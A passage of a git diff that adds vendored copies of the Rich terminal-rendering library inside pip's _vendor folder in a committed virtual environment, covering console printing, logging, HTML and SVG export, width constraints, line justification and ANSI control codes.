+ if soft_wrap is None: + soft_wrap = self.soft_wrap + if soft_wrap: + if no_wrap is None: + no_wrap = True + if overflow is None: + overflow = "ignore" + crop = False + render_hooks = self._render_hooks[:] + with self: + renderables = self._collect_renderables( + objects, + sep, + end, + justify=justify, + emoji=emoji, + markup=markup, + highlight=highlight, + ) + for hook in render_hooks: + renderables = hook.process_renderables(renderables) + render_options = self.options.update( + justify=justify, + overflow=overflow, + width=min(width, self.width) if width is not None else NO_CHANGE, + height=height, + no_wrap=no_wrap, + markup=markup, + highlight=highlight, + ) + + new_segments: List[Segment] = [] + extend = new_segments.extend + render = self.render + if style is None: + for renderable in renderables: + extend(render(renderable, render_options)) + else: + for renderable in renderables: + extend( + Segment.apply_style( + render(renderable, render_options), self.get_style(style) + ) + ) + if new_line_start: + if ( + len("".join(segment.text for segment in new_segments).splitlines()) + > 1 + ): + new_segments.insert(0, Segment.line()) + if crop: + buffer_extend = self._buffer.extend + for line in Segment.split_and_crop_lines( + new_segments, self.width, pad=False + ): + buffer_extend(line) + else: + self._buffer.extend(new_segments) + + def print_json( + self, + json: Optional[str] = None, + *, + data: Any = None, + indent: Union[None, int, str] = 2, + highlight: bool = True, + skip_keys: bool = False, + ensure_ascii: bool = False, + check_circular: bool = True, + allow_nan: bool = True, + default: Optional[Callable[[Any], Any]] = None, + sort_keys: bool = False, + ) -> None: + """Pretty prints JSON. Output will be valid JSON. + + Args: + json (Optional[str]): A string containing JSON. + data (Any): If json is not supplied, then encode this data. + indent (Union[None, int, str], optional): Number of spaces to indent. Defaults to 2. + highlight (bool, optional): Enable highlighting of output: Defaults to True. + skip_keys (bool, optional): Skip keys not of a basic type. Defaults to False. + ensure_ascii (bool, optional): Escape all non-ascii characters. Defaults to False. + check_circular (bool, optional): Check for circular references. Defaults to True. + allow_nan (bool, optional): Allow NaN and Infinity values. Defaults to True. + default (Callable, optional): A callable that converts values that can not be encoded + in to something that can be JSON encoded. Defaults to None. + sort_keys (bool, optional): Sort dictionary keys. Defaults to False. + """ + from pip._vendor.rich.json import JSON + + if json is None: + json_renderable = JSON.from_data( + data, + indent=indent, + highlight=highlight, + skip_keys=skip_keys, + ensure_ascii=ensure_ascii, + check_circular=check_circular, + allow_nan=allow_nan, + default=default, + sort_keys=sort_keys, + ) + else: + if not isinstance(json, str): + raise TypeError( + f"json must be str. Did you mean print_json(data={json!r}) ?" + ) + json_renderable = JSON( + json, + indent=indent, + highlight=highlight, + skip_keys=skip_keys, + ensure_ascii=ensure_ascii, + check_circular=check_circular, + allow_nan=allow_nan, + default=default, + sort_keys=sort_keys, + ) + self.print(json_renderable, soft_wrap=True) + + def update_screen( + self, + renderable: RenderableType, + *, + region: Optional[Region] = None, + options: Optional[ConsoleOptions] = None, + ) -> None: + """Update the screen at a given offset. + + Args: + renderable (RenderableType): A Rich renderable. + region (Region, optional): Region of screen to update, or None for entire screen. Defaults to None. + x (int, optional): x offset. Defaults to 0. + y (int, optional): y offset. Defaults to 0. + + Raises: + errors.NoAltScreen: If the Console isn't in alt screen mode. + + """ + if not self.is_alt_screen: + raise errors.NoAltScreen("Alt screen must be enabled to call update_screen") + render_options = options or self.options + if region is None: + x = y = 0 + render_options = render_options.update_dimensions( + render_options.max_width, render_options.height or self.height + ) + else: + x, y, width, height = region + render_options = render_options.update_dimensions(width, height) + + lines = self.render_lines(renderable, options=render_options) + self.update_screen_lines(lines, x, y) + + def update_screen_lines( + self, lines: List[List[Segment]], x: int = 0, y: int = 0 + ) -> None: + """Update lines of the screen at a given offset. + + Args: + lines (List[List[Segment]]): Rendered lines (as produced by :meth:`~rich.Console.render_lines`). + x (int, optional): x offset (column no). Defaults to 0. + y (int, optional): y offset (column no). Defaults to 0. + + Raises: + errors.NoAltScreen: If the Console isn't in alt screen mode. + """ + if not self.is_alt_screen: + raise errors.NoAltScreen("Alt screen must be enabled to call update_screen") + screen_update = ScreenUpdate(lines, x, y) + segments = self.render(screen_update) + self._buffer.extend(segments) + self._check_buffer() + + def print_exception( + self, + *, + width: Optional[int] = 100, + extra_lines: int = 3, + theme: Optional[str] = None, + word_wrap: bool = False, + show_locals: bool = False, + suppress: Iterable[Union[str, ModuleType]] = (), + max_frames: int = 100, + ) -> None: + """Prints a rich render of the last exception and traceback. + + Args: + width (Optional[int], optional): Number of characters used to render code. Defaults to 100. + extra_lines (int, optional): Additional lines of code to render. Defaults to 3. + theme (str, optional): Override pygments theme used in traceback + word_wrap (bool, optional): Enable word wrapping of long lines. Defaults to False. + show_locals (bool, optional): Enable display of local variables. Defaults to False. + suppress (Iterable[Union[str, ModuleType]]): Optional sequence of modules or paths to exclude from traceback. + max_frames (int): Maximum number of frames to show in a traceback, 0 for no maximum. Defaults to 100. + """ + from .traceback import Traceback + + traceback = Traceback( + width=width, + extra_lines=extra_lines, + theme=theme, + word_wrap=word_wrap, + show_locals=show_locals, + suppress=suppress, + max_frames=max_frames, + ) + self.print(traceback) + + @staticmethod + def _caller_frame_info( + offset: int, + currentframe: Callable[[], Optional[FrameType]] = inspect.currentframe, + ) -> Tuple[str, int, Dict[str, Any]]: + """Get caller frame information. + + Args: + offset (int): the caller offset within the current frame stack. + currentframe (Callable[[], Optional[FrameType]], optional): the callable to use to + retrieve the current frame. Defaults to ``inspect.currentframe``. + + Returns: + Tuple[str, int, Dict[str, Any]]: A tuple containing the filename, the line number and + the dictionary of local variables associated with the caller frame. + + Raises: + RuntimeError: If the stack offset is invalid. + """ + # Ignore the frame of this local helper + offset += 1 + + frame = currentframe() + if frame is not None: + # Use the faster currentframe where implemented + while offset and frame is not None: + frame = frame.f_back + offset -= 1 + assert frame is not None + return frame.f_code.co_filename, frame.f_lineno, frame.f_locals + else: + # Fallback to the slower stack + frame_info = inspect.stack()[offset] + return frame_info.filename, frame_info.lineno, frame_info.frame.f_locals + + def log( + self, + *objects: Any, + sep: str = " ", + end: str = "\n", + style: Optional[Union[str, Style]] = None, + justify: Optional[JustifyMethod] = None, + emoji: Optional[bool] = None, + markup: Optional[bool] = None, + highlight: Optional[bool] = None, + log_locals: bool = False, + _stack_offset: int = 1, + ) -> None: + """Log rich content to the terminal. + + Args: + objects (positional args): Objects to log to the terminal. + sep (str, optional): String to write between print data. Defaults to " ". + end (str, optional): String to write at end of print data. Defaults to "\\\\n". + style (Union[str, Style], optional): A style to apply to output. Defaults to None. + justify (str, optional): One of "left", "right", "center", or "full". Defaults to ``None``. + emoji (Optional[bool], optional): Enable emoji code, or ``None`` to use console default. Defaults to None. + markup (Optional[bool], optional): Enable markup, or ``None`` to use console default. Defaults to None. + highlight (Optional[bool], optional): Enable automatic highlighting, or ``None`` to use console default. Defaults to None. + log_locals (bool, optional): Boolean to enable logging of locals where ``log()`` + was called. Defaults to False. + _stack_offset (int, optional): Offset of caller from end of call stack. Defaults to 1. + """ + if not objects: + objects = (NewLine(),) + + render_hooks = self._render_hooks[:] + + with self: + renderables = self._collect_renderables( + objects, + sep, + end, + justify=justify, + emoji=emoji, + markup=markup, + highlight=highlight, + ) + if style is not None: + renderables = [Styled(renderable, style) for renderable in renderables] + + filename, line_no, locals = self._caller_frame_info(_stack_offset) + link_path = None if filename.startswith("<") else os.path.abspath(filename) + path = filename.rpartition(os.sep)[-1] + if log_locals: + locals_map = { + key: value + for key, value in locals.items() + if not key.startswith("__") + } + renderables.append(render_scope(locals_map, title="[i]locals")) + + renderables = [ + self._log_render( + self, + renderables, + log_time=self.get_datetime(), + path=path, + line_no=line_no, + link_path=link_path, + ) + ] + for hook in render_hooks: + renderables = hook.process_renderables(renderables) + new_segments: List[Segment] = [] + extend = new_segments.extend + render = self.render + render_options = self.options + for renderable in renderables: + extend(render(renderable, render_options)) + buffer_extend = self._buffer.extend + for line in Segment.split_and_crop_lines( + new_segments, self.width, pad=False + ): + buffer_extend(line) + + def _check_buffer(self) -> None: + """Check if the buffer may be rendered. Render it if it can (e.g. Console.quiet is False) + Rendering is supported on Windows, Unix and Jupyter environments. For + legacy Windows consoles, the win32 API is called directly. + This method will also record what it renders if recording is enabled via Console.record. + """ + if self.quiet: + del self._buffer[:] + return + with self._lock: + if self.record: + with self._record_buffer_lock: + self._record_buffer.extend(self._buffer[:]) + + if self._buffer_index == 0: + if self.is_jupyter: # pragma: no cover + from .jupyter import display + + display(self._buffer, self._render_buffer(self._buffer[:])) + del self._buffer[:] + else: + if WINDOWS: + use_legacy_windows_render = False + if self.legacy_windows: + fileno = get_fileno(self.file) + if fileno is not None: + use_legacy_windows_render = ( + fileno in _STD_STREAMS_OUTPUT + ) + + if use_legacy_windows_render: + from pip._vendor.rich._win32_console import LegacyWindowsTerm + from pip._vendor.rich._windows_renderer import legacy_windows_render + + buffer = self._buffer[:] + if self.no_color and self._color_system: + buffer = list(Segment.remove_color(buffer)) + + legacy_windows_render(buffer, LegacyWindowsTerm(self.file)) + else: + # Either a non-std stream on legacy Windows, or modern Windows. + text = self._render_buffer(self._buffer[:]) + # https://bugs.python.org/issue37871 + # https://github.com/python/cpython/issues/82052 + # We need to avoid writing more than 32Kb in a single write, due to the above bug + write = self.file.write + # Worse case scenario, every character is 4 bytes of utf-8 + MAX_WRITE = 32 * 1024 // 4 + try: + if len(text) <= MAX_WRITE: + write(text) + else: + batch: List[str] = [] + batch_append = batch.append + size = 0 + for line in text.splitlines(True): + if size + len(line) > MAX_WRITE and batch: + write("".join(batch)) + batch.clear() + size = 0 + batch_append(line) + size += len(line) + if batch: + write("".join(batch)) + batch.clear() + except UnicodeEncodeError as error: + error.reason = f"{error.reason}\n*** You may need to add PYTHONIOENCODING=utf-8 to your environment ***" + raise + else: + text = self._render_buffer(self._buffer[:]) + try: + self.file.write(text) + except UnicodeEncodeError as error: + error.reason = f"{error.reason}\n*** You may need to add PYTHONIOENCODING=utf-8 to your environment ***" + raise + + self.file.flush() + del self._buffer[:] + + def _render_buffer(self, buffer: Iterable[Segment]) -> str: + """Render buffered output, and clear buffer.""" + output: List[str] = [] + append = output.append + color_system = self._color_system + legacy_windows = self.legacy_windows + not_terminal = not self.is_terminal + if self.no_color and color_system: + buffer = Segment.remove_color(buffer) + for text, style, control in buffer: + if style: + append( + style.render( + text, + color_system=color_system, + legacy_windows=legacy_windows, + ) + ) + elif not (not_terminal and control): + append(text) + + rendered = "".join(output) + return rendered + + def input( + self, + prompt: TextType = "", + *, + markup: bool = True, + emoji: bool = True, + password: bool = False, + stream: Optional[TextIO] = None, + ) -> str: + """Displays a prompt and waits for input from the user. The prompt may contain color / style. + + It works in the same way as Python's builtin :func:`input` function and provides elaborate line editing and history features if Python's builtin :mod:`readline` module is previously loaded. + + Args: + prompt (Union[str, Text]): Text to render in the prompt. + markup (bool, optional): Enable console markup (requires a str prompt). Defaults to True. + emoji (bool, optional): Enable emoji (requires a str prompt). Defaults to True. + password: (bool, optional): Hide typed text. Defaults to False. + stream: (TextIO, optional): Optional file to read input from (rather than stdin). Defaults to None. + + Returns: + str: Text read from stdin. + """ + if prompt: + self.print(prompt, markup=markup, emoji=emoji, end="") + if password: + result = getpass("", stream=stream) + else: + if stream: + result = stream.readline() + else: + result = input() + return result + + def export_text(self, *, clear: bool = True, styles: bool = False) -> str: + """Generate text from console contents (requires record=True argument in constructor). + + Args: + clear (bool, optional): Clear record buffer after exporting. Defaults to ``True``. + styles (bool, optional): If ``True``, ansi escape codes will be included. ``False`` for plain text. + Defaults to ``False``. + + Returns: + str: String containing console contents. + + """ + assert ( + self.record + ), "To export console contents set record=True in the constructor or instance" + + with self._record_buffer_lock: + if styles: + text = "".join( + (style.render(text) if style else text) + for text, style, _ in self._record_buffer + ) + else: + text = "".join( + segment.text + for segment in self._record_buffer + if not segment.control + ) + if clear: + del self._record_buffer[:] + return text + + def save_text(self, path: str, *, clear: bool = True, styles: bool = False) -> None: + """Generate text from console and save to a given location (requires record=True argument in constructor). + + Args: + path (str): Path to write text files. + clear (bool, optional): Clear record buffer after exporting. Defaults to ``True``. + styles (bool, optional): If ``True``, ansi style codes will be included. ``False`` for plain text. + Defaults to ``False``. + + """ + text = self.export_text(clear=clear, styles=styles) + with open(path, "wt", encoding="utf-8") as write_file: + write_file.write(text) + + def export_html( + self, + *, + theme: Optional[TerminalTheme] = None, + clear: bool = True, + code_format: Optional[str] = None, + inline_styles: bool = False, + ) -> str: + """Generate HTML from console contents (requires record=True argument in constructor). + + Args: + theme (TerminalTheme, optional): TerminalTheme object containing console colors. + clear (bool, optional): Clear record buffer after exporting. Defaults to ``True``. + code_format (str, optional): Format string to render HTML. In addition to '{foreground}', + '{background}', and '{code}', should contain '{stylesheet}' if inline_styles is ``False``. + inline_styles (bool, optional): If ``True`` styles will be inlined in to spans, which makes files + larger but easier to cut and paste markup. If ``False``, styles will be embedded in a style tag. + Defaults to False. + + Returns: + str: String containing console contents as HTML. + """ + assert ( + self.record + ), "To export console contents set record=True in the constructor or instance" + fragments: List[str] = [] + append = fragments.append + _theme = theme or DEFAULT_TERMINAL_THEME + stylesheet = "" + + render_code_format = CONSOLE_HTML_FORMAT if code_format is None else code_format + + with self._record_buffer_lock: + if inline_styles: + for text, style, _ in Segment.filter_control( + Segment.simplify(self._record_buffer) + ): + text = escape(text) + if style: + rule = style.get_html_style(_theme) + if style.link: + text = f'{text}' + text = f'{text}' if rule else text + append(text) + else: + styles: Dict[str, int] = {} + for text, style, _ in Segment.filter_control( + Segment.simplify(self._record_buffer) + ): + text = escape(text) + if style: + rule = style.get_html_style(_theme) + style_number = styles.setdefault(rule, len(styles) + 1) + if style.link: + text = f'{text}' + else: + text = f'{text}' + append(text) + stylesheet_rules: List[str] = [] + stylesheet_append = stylesheet_rules.append + for style_rule, style_number in styles.items(): + if style_rule: + stylesheet_append(f".r{style_number} {{{style_rule}}}") + stylesheet = "\n".join(stylesheet_rules) + + rendered_code = render_code_format.format( + code="".join(fragments), + stylesheet=stylesheet, + foreground=_theme.foreground_color.hex, + background=_theme.background_color.hex, + ) + if clear: + del self._record_buffer[:] + return rendered_code + + def save_html( + self, + path: str, + *, + theme: Optional[TerminalTheme] = None, + clear: bool = True, + code_format: str = CONSOLE_HTML_FORMAT, + inline_styles: bool = False, + ) -> None: + """Generate HTML from console contents and write to a file (requires record=True argument in constructor). + + Args: + path (str): Path to write html file. + theme (TerminalTheme, optional): TerminalTheme object containing console colors. + clear (bool, optional): Clear record buffer after exporting. Defaults to ``True``. + code_format (str, optional): Format string to render HTML. In addition to '{foreground}', + '{background}', and '{code}', should contain '{stylesheet}' if inline_styles is ``False``. + inline_styles (bool, optional): If ``True`` styles will be inlined in to spans, which makes files + larger but easier to cut and paste markup. If ``False``, styles will be embedded in a style tag. + Defaults to False. + + """ + html = self.export_html( + theme=theme, + clear=clear, + code_format=code_format, + inline_styles=inline_styles, + ) + with open(path, "wt", encoding="utf-8") as write_file: + write_file.write(html) + + def export_svg( + self, + *, + title: str = "Rich", + theme: Optional[TerminalTheme] = None, + clear: bool = True, + code_format: str = CONSOLE_SVG_FORMAT, + font_aspect_ratio: float = 0.61, + unique_id: Optional[str] = None, + ) -> str: + """ + Generate an SVG from the console contents (requires record=True in Console constructor). + + Args: + title (str, optional): The title of the tab in the output image + theme (TerminalTheme, optional): The ``TerminalTheme`` object to use to style the terminal + clear (bool, optional): Clear record buffer after exporting. Defaults to ``True`` + code_format (str, optional): Format string used to generate the SVG. Rich will inject a number of variables + into the string in order to form the final SVG output. The default template used and the variables + injected by Rich can be found by inspecting the ``console.CONSOLE_SVG_FORMAT`` variable. + font_aspect_ratio (float, optional): The width to height ratio of the font used in the ``code_format`` + string. Defaults to 0.61, which is the width to height ratio of Fira Code (the default font). + If you aren't specifying a different font inside ``code_format``, you probably don't need this. + unique_id (str, optional): unique id that is used as the prefix for various elements (CSS styles, node + ids). If not set, this defaults to a computed value based on the recorded content. + """ + + from pip._vendor.rich.cells import cell_len + + style_cache: Dict[Style, str] = {} + + def get_svg_style(style: Style) -> str: + """Convert a Style to CSS rules for SVG.""" + if style in style_cache: + return style_cache[style] + css_rules = [] + color = ( + _theme.foreground_color + if (style.color is None or style.color.is_default) + else style.color.get_truecolor(_theme) + ) + bgcolor = ( + _theme.background_color + if (style.bgcolor is None or style.bgcolor.is_default) + else style.bgcolor.get_truecolor(_theme) + ) + if style.reverse: + color, bgcolor = bgcolor, color + if style.dim: + color = blend_rgb(color, bgcolor, 0.4) + css_rules.append(f"fill: {color.hex}") + if style.bold: + css_rules.append("font-weight: bold") + if style.italic: + css_rules.append("font-style: italic;") + if style.underline: + css_rules.append("text-decoration: underline;") + if style.strike: + css_rules.append("text-decoration: line-through;") + + css = ";".join(css_rules) + style_cache[style] = css + return css + + _theme = theme or SVG_EXPORT_THEME + + width = self.width + char_height = 20 + char_width = char_height * font_aspect_ratio + line_height = char_height * 1.22 + + margin_top = 1 + margin_right = 1 + margin_bottom = 1 + margin_left = 1 + + padding_top = 40 + padding_right = 8 + padding_bottom = 8 + padding_left = 8 + + padding_width = padding_left + padding_right + padding_height = padding_top + padding_bottom + margin_width = margin_left + margin_right + margin_height = margin_top + margin_bottom + + text_backgrounds: List[str] = [] + text_group: List[str] = [] + classes: Dict[str, int] = {} + style_no = 1 + + def escape_text(text: str) -> str: + """HTML escape text and replace spaces with nbsp.""" + return escape(text).replace(" ", " ") + + def make_tag( + name: str, content: Optional[str] = None, **attribs: object + ) -> str: + """Make a tag from name, content, and attributes.""" + + def stringify(value: object) -> str: + if isinstance(value, (float)): + return format(value, "g") + return str(value) + + tag_attribs = " ".join( + f'{k.lstrip("_").replace("_", "-")}="{stringify(v)}"' + for k, v in attribs.items() + ) + return ( + f"<{name} {tag_attribs}>{content}" + if content + else f"<{name} {tag_attribs}/>" + ) + + with self._record_buffer_lock: + segments = list(Segment.filter_control(self._record_buffer)) + if clear: + self._record_buffer.clear() + + if unique_id is None: + unique_id = "terminal-" + str( + zlib.adler32( + ("".join(repr(segment) for segment in segments)).encode( + "utf-8", + "ignore", + ) + + title.encode("utf-8", "ignore") + ) + ) + y = 0 + for y, line in enumerate(Segment.split_and_crop_lines(segments, length=width)): + x = 0 + for text, style, _control in line: + style = style or Style() + rules = get_svg_style(style) + if rules not in classes: + classes[rules] = style_no + style_no += 1 + class_name = f"r{classes[rules]}" + + if style.reverse: + has_background = True + background = ( + _theme.foreground_color.hex + if style.color is None + else style.color.get_truecolor(_theme).hex + ) + else: + bgcolor = style.bgcolor + has_background = bgcolor is not None and not bgcolor.is_default + background = ( + _theme.background_color.hex + if style.bgcolor is None + else style.bgcolor.get_truecolor(_theme).hex + ) + + text_length = cell_len(text) + if has_background: + text_backgrounds.append( + make_tag( + "rect", + fill=background, + x=x * char_width, + y=y * line_height + 1.5, + width=char_width * text_length, + height=line_height + 0.25, + shape_rendering="crispEdges", + ) + ) + + if text != " " * len(text): + text_group.append( + make_tag( + "text", + escape_text(text), + _class=f"{unique_id}-{class_name}", + x=x * char_width, + y=y * line_height + char_height, + textLength=char_width * len(text), + clip_path=f"url(#{unique_id}-line-{y})", + ) + ) + x += cell_len(text) + + line_offsets = [line_no * line_height + 1.5 for line_no in range(y)] + lines = "\n".join( + f""" + {make_tag("rect", x=0, y=offset, width=char_width * width, height=line_height + 0.25)} + """ + for line_no, offset in enumerate(line_offsets) + ) + + styles = "\n".join( + f".{unique_id}-r{rule_no} {{ {css} }}" for css, rule_no in classes.items() + ) + backgrounds = "".join(text_backgrounds) + matrix = "".join(text_group) + + terminal_width = ceil(width * char_width + padding_width) + terminal_height = (y + 1) * line_height + padding_height + chrome = make_tag( + "rect", + fill=_theme.background_color.hex, + stroke="rgba(255,255,255,0.35)", + stroke_width="1", + x=margin_left, + y=margin_top, + width=terminal_width, + height=terminal_height, + rx=8, + ) + + title_color = _theme.foreground_color.hex + if title: + chrome += make_tag( + "text", + escape_text(title), + _class=f"{unique_id}-title", + fill=title_color, + text_anchor="middle", + x=terminal_width // 2, + y=margin_top + char_height + 6, + ) + chrome += f""" + + + + + + """ + + svg = code_format.format( + unique_id=unique_id, + char_width=char_width, + char_height=char_height, + line_height=line_height, + terminal_width=char_width * width - 1, + terminal_height=(y + 1) * line_height - 1, + width=terminal_width + margin_width, + height=terminal_height + margin_height, + terminal_x=margin_left + padding_left, + terminal_y=margin_top + padding_top, + styles=styles, + chrome=chrome, + backgrounds=backgrounds, + matrix=matrix, + lines=lines, + ) + return svg + + def save_svg( + self, + path: str, + *, + title: str = "Rich", + theme: Optional[TerminalTheme] = None, + clear: bool = True, + code_format: str = CONSOLE_SVG_FORMAT, + font_aspect_ratio: float = 0.61, + unique_id: Optional[str] = None, + ) -> None: + """Generate an SVG file from the console contents (requires record=True in Console constructor). + + Args: + path (str): The path to write the SVG to. + title (str, optional): The title of the tab in the output image + theme (TerminalTheme, optional): The ``TerminalTheme`` object to use to style the terminal + clear (bool, optional): Clear record buffer after exporting. Defaults to ``True`` + code_format (str, optional): Format string used to generate the SVG. Rich will inject a number of variables + into the string in order to form the final SVG output. The default template used and the variables + injected by Rich can be found by inspecting the ``console.CONSOLE_SVG_FORMAT`` variable. + font_aspect_ratio (float, optional): The width to height ratio of the font used in the ``code_format`` + string. Defaults to 0.61, which is the width to height ratio of Fira Code (the default font). + If you aren't specifying a different font inside ``code_format``, you probably don't need this. + unique_id (str, optional): unique id that is used as the prefix for various elements (CSS styles, node + ids). If not set, this defaults to a computed value based on the recorded content. + """ + svg = self.export_svg( + title=title, + theme=theme, + clear=clear, + code_format=code_format, + font_aspect_ratio=font_aspect_ratio, + unique_id=unique_id, + ) + with open(path, "wt", encoding="utf-8") as write_file: + write_file.write(svg) + + +def _svg_hash(svg_main_code: str) -> str: + """Returns a unique hash for the given SVG main code. + + Args: + svg_main_code (str): The content we're going to inject in the SVG envelope. + + Returns: + str: a hash of the given content + """ + return str(zlib.adler32(svg_main_code.encode())) + + +if __name__ == "__main__": # pragma: no cover + console = Console(record=True) + + console.log( + "JSONRPC [i]request[/i]", + 5, + 1.3, + True, + False, + None, + { + "jsonrpc": "2.0", + "method": "subtract", + "params": {"minuend": 42, "subtrahend": 23}, + "id": 3, + }, + ) + + console.log("Hello, World!", "{'a': 1}", repr(console)) + + console.print( + { + "name": None, + "empty": [], + "quiz": { + "sport": { + "answered": True, + "q1": { + "question": "Which one is correct team name in NBA?", + "options": [ + "New York Bulls", + "Los Angeles Kings", + "Golden State Warriors", + "Huston Rocket", + ], + "answer": "Huston Rocket", + }, + }, + "maths": { + "answered": False, + "q1": { + "question": "5 + 7 = ?", + "options": [10, 11, 12, 13], + "answer": 12, + }, + "q2": { + "question": "12 - 8 = ?", + "options": [1, 2, 3, 4], + "answer": 4, + }, + }, + }, + } + ) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/constrain.py b/venv/Lib/site-packages/pip/_vendor/rich/constrain.py new file mode 100644 index 00000000000..65fdf56342e --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/constrain.py @@ -0,0 +1,37 @@ +from typing import Optional, TYPE_CHECKING + +from .jupyter import JupyterMixin +from .measure import Measurement + +if TYPE_CHECKING: + from .console import Console, ConsoleOptions, RenderableType, RenderResult + + +class Constrain(JupyterMixin): + """Constrain the width of a renderable to a given number of characters. + + Args: + renderable (RenderableType): A renderable object. + width (int, optional): The maximum width (in characters) to render. Defaults to 80. + """ + + def __init__(self, renderable: "RenderableType", width: Optional[int] = 80) -> None: + self.renderable = renderable + self.width = width + + def __rich_console__( + self, console: "Console", options: "ConsoleOptions" + ) -> "RenderResult": + if self.width is None: + yield self.renderable + else: + child_options = options.update_width(min(self.width, options.max_width)) + yield from console.render(self.renderable, child_options) + + def __rich_measure__( + self, console: "Console", options: "ConsoleOptions" + ) -> "Measurement": + if self.width is not None: + options = options.update_width(self.width) + measurement = Measurement.get(console, options, self.renderable) + return measurement diff --git a/venv/Lib/site-packages/pip/_vendor/rich/containers.py b/venv/Lib/site-packages/pip/_vendor/rich/containers.py new file mode 100644 index 00000000000..901ff8ba6ea --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/containers.py @@ -0,0 +1,167 @@ +from itertools import zip_longest +from typing import ( + TYPE_CHECKING, + Iterable, + Iterator, + List, + Optional, + TypeVar, + Union, + overload, +) + +if TYPE_CHECKING: + from .console import ( + Console, + ConsoleOptions, + JustifyMethod, + OverflowMethod, + RenderResult, + RenderableType, + ) + from .text import Text + +from .cells import cell_len +from .measure import Measurement + +T = TypeVar("T") + + +class Renderables: + """A list subclass which renders its contents to the console.""" + + def __init__( + self, renderables: Optional[Iterable["RenderableType"]] = None + ) -> None: + self._renderables: List["RenderableType"] = ( + list(renderables) if renderables is not None else [] + ) + + def __rich_console__( + self, console: "Console", options: "ConsoleOptions" + ) -> "RenderResult": + """Console render method to insert line-breaks.""" + yield from self._renderables + + def __rich_measure__( + self, console: "Console", options: "ConsoleOptions" + ) -> "Measurement": + dimensions = [ + Measurement.get(console, options, renderable) + for renderable in self._renderables + ] + if not dimensions: + return Measurement(1, 1) + _min = max(dimension.minimum for dimension in dimensions) + _max = max(dimension.maximum for dimension in dimensions) + return Measurement(_min, _max) + + def append(self, renderable: "RenderableType") -> None: + self._renderables.append(renderable) + + def __iter__(self) -> Iterable["RenderableType"]: + return iter(self._renderables) + + +class Lines: + """A list subclass which can render to the console.""" + + def __init__(self, lines: Iterable["Text"] = ()) -> None: + self._lines: List["Text"] = list(lines) + + def __repr__(self) -> str: + return f"Lines({self._lines!r})" + + def __iter__(self) -> Iterator["Text"]: + return iter(self._lines) + + @overload + def __getitem__(self, index: int) -> "Text": + ... + + @overload + def __getitem__(self, index: slice) -> List["Text"]: + ... + + def __getitem__(self, index: Union[slice, int]) -> Union["Text", List["Text"]]: + return self._lines[index] + + def __setitem__(self, index: int, value: "Text") -> "Lines": + self._lines[index] = value + return self + + def __len__(self) -> int: + return self._lines.__len__() + + def __rich_console__( + self, console: "Console", options: "ConsoleOptions" + ) -> "RenderResult": + """Console render method to insert line-breaks.""" + yield from self._lines + + def append(self, line: "Text") -> None: + self._lines.append(line) + + def extend(self, lines: Iterable["Text"]) -> None: + self._lines.extend(lines) + + def pop(self, index: int = -1) -> "Text": + return self._lines.pop(index) + + def justify( + self, + console: "Console", + width: int, + justify: "JustifyMethod" = "left", + overflow: "OverflowMethod" = "fold", + ) -> None: + """Justify and overflow text to a given width. + + Args: + console (Console): Console instance. + width (int): Number of cells available per line. + justify (str, optional): Default justify method for text: "left", "center", "full" or "right". Defaults to "left". + overflow (str, optional): Default overflow for text: "crop", "fold", or "ellipsis". Defaults to "fold". + + """ + from .text import Text + + if justify == "left": + for line in self._lines: + line.truncate(width, overflow=overflow, pad=True) + elif justify == "center": + for line in self._lines: + line.rstrip() + line.truncate(width, overflow=overflow) + line.pad_left((width - cell_len(line.plain)) // 2) + line.pad_right(width - cell_len(line.plain)) + elif justify == "right": + for line in self._lines: + line.rstrip() + line.truncate(width, overflow=overflow) + line.pad_left(width - cell_len(line.plain)) + elif justify == "full": + for line_index, line in enumerate(self._lines): + if line_index == len(self._lines) - 1: + break + words = line.split(" ") + words_size = sum(cell_len(word.plain) for word in words) + num_spaces = len(words) - 1 + spaces = [1 for _ in range(num_spaces)] + index = 0 + if spaces: + while words_size + num_spaces < width: + spaces[len(spaces) - index - 1] += 1 + num_spaces += 1 + index = (index + 1) % len(spaces) + tokens: List[Text] = [] + for index, (word, next_word) in enumerate( + zip_longest(words, words[1:]) + ): + tokens.append(word) + if index < len(spaces): + style = word.get_style_at_offset(console, -1) + next_style = next_word.get_style_at_offset(console, 0) + space_style = style if style == next_style else line.style + tokens.append(Text(" " * spaces[index], style=space_style)) + self[line_index] = Text("").join(tokens) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/control.py b/venv/Lib/site-packages/pip/_vendor/rich/control.py new file mode 100644 index 00000000000..88fcb929516 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/control.py @@ -0,0 +1,225 @@ +import sys +import time +from typing import TYPE_CHECKING, Callable, Dict, Iterable, List, Union + +if sys.version_info >= (3, 8): + from typing import Final +else: + from pip._vendor.typing_extensions import Final # pragma: no cover + +from .segment import ControlCode, ControlType, Segment + +if TYPE_CHECKING: + from .console import Console, ConsoleOptions, RenderResult + +STRIP_CONTROL_CODES: Final = [ + 7, # Bell + 8, # Backspace + 11, # Vertical tab + 12, # Form feed + 13, # Carriage return +] +_CONTROL_STRIP_TRANSLATE: Final = { + _codepoint: None for _codepoint in STRIP_CONTROL_CODES +} + +CONTROL_ESCAPE: Final = { + 7: "\\a", + 8: "\\b", + 11: "\\v", + 12: "\\f", + 13: "\\r", +} + +CONTROL_CODES_FORMAT: Dict[int, Callable[..., str]] = { + ControlType.BELL: lambda: "\x07", + ControlType.CARRIAGE_RETURN: lambda: "\r", + ControlType.HOME: lambda: "\x1b[H", + ControlType.CLEAR: lambda: "\x1b[2J", + ControlType.ENABLE_ALT_SCREEN: lambda: "\x1b[?1049h", + ControlType.DISABLE_ALT_SCREEN: lambda: "\x1b[?1049l", + ControlType.SHOW_CURSOR: lambda: "\x1b[?25h", + ControlType.HIDE_CURSOR: lambda: "\x1b[?25l", + ControlType.CURSOR_UP: lambda param: f"\x1b[{param}A", + ControlType.CURSOR_DOWN: lambda param: f"\x1b[{param}B", + ControlType.CURSOR_FORWARD: lambda param: f"\x1b[{param}C", + ControlType.CURSOR_BACKWARD: lambda param: f"\x1b[{param}D", + ControlType.CURSOR_MOVE_TO_COLUMN: lambda param: f"\x1b[{param+1}G", + ControlType.ERASE_IN_LINE: lambda param: f"\x1b[{param}K", + ControlType.CURSOR_MOVE_TO: lambda x, y: f"\x1b[{y+1};{x+1}H", + ControlType.SET_WINDOW_TITLE: lambda title: f"\x1b]0;{title}\x07", +} + + +class Control: + """A renderable that inserts a control code (non printable but may move 